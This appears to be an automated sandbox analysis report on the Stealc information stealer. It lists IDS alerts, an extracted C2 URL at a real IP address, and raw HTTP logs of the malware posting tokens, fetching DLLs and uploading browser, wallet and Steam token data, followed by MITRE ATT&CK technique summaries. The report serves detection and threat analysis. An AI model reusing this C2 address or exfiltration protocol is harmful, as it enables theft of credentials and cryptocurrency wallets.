Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 42 33 46 45 39 44 37 32 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="hwid"FCB3FE9D726E2371543510------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="build"doma------CGIDGCGIEGDGDGDGHJKK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJEHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="message"browsers------FIDAFIEBFCBKFHIDHIJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 2d 2d 0d 0a Data Ascii: ------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="message"plugins------HDAKJDHIEBFIIDGDGDBA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKFHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="message"fplugins------GCBGCAFIIECBFIDHIJKF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHIHost: 185.215.113.37Content-Length: 7251Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAKHost: 185.215.113.37Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGHHost: 185.215.113.37Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 2d 2d 0d 0a Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="file"------IJKJDAFHJDHIEBGCFIDB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 2d 2d 0d 0a Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"------EHJKFCGHIDHCBGDHJKEB--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDAHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBFHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"wallets------KJKFBAFIDAEBFHJKJEBF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDAHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 2d 2d 0d 0a Data Ascii: ------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="message"files------BGHIDGCAFCBAAAAAFHDA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 2d 2d 0d 0a Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="file"------GHJEGCAEGIIIDHIEBKEB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="message"ybncbhylepme------AAKJKJDGCGDBGDHIJKJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DHDAFBFCFHIDAKFIIEBA--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
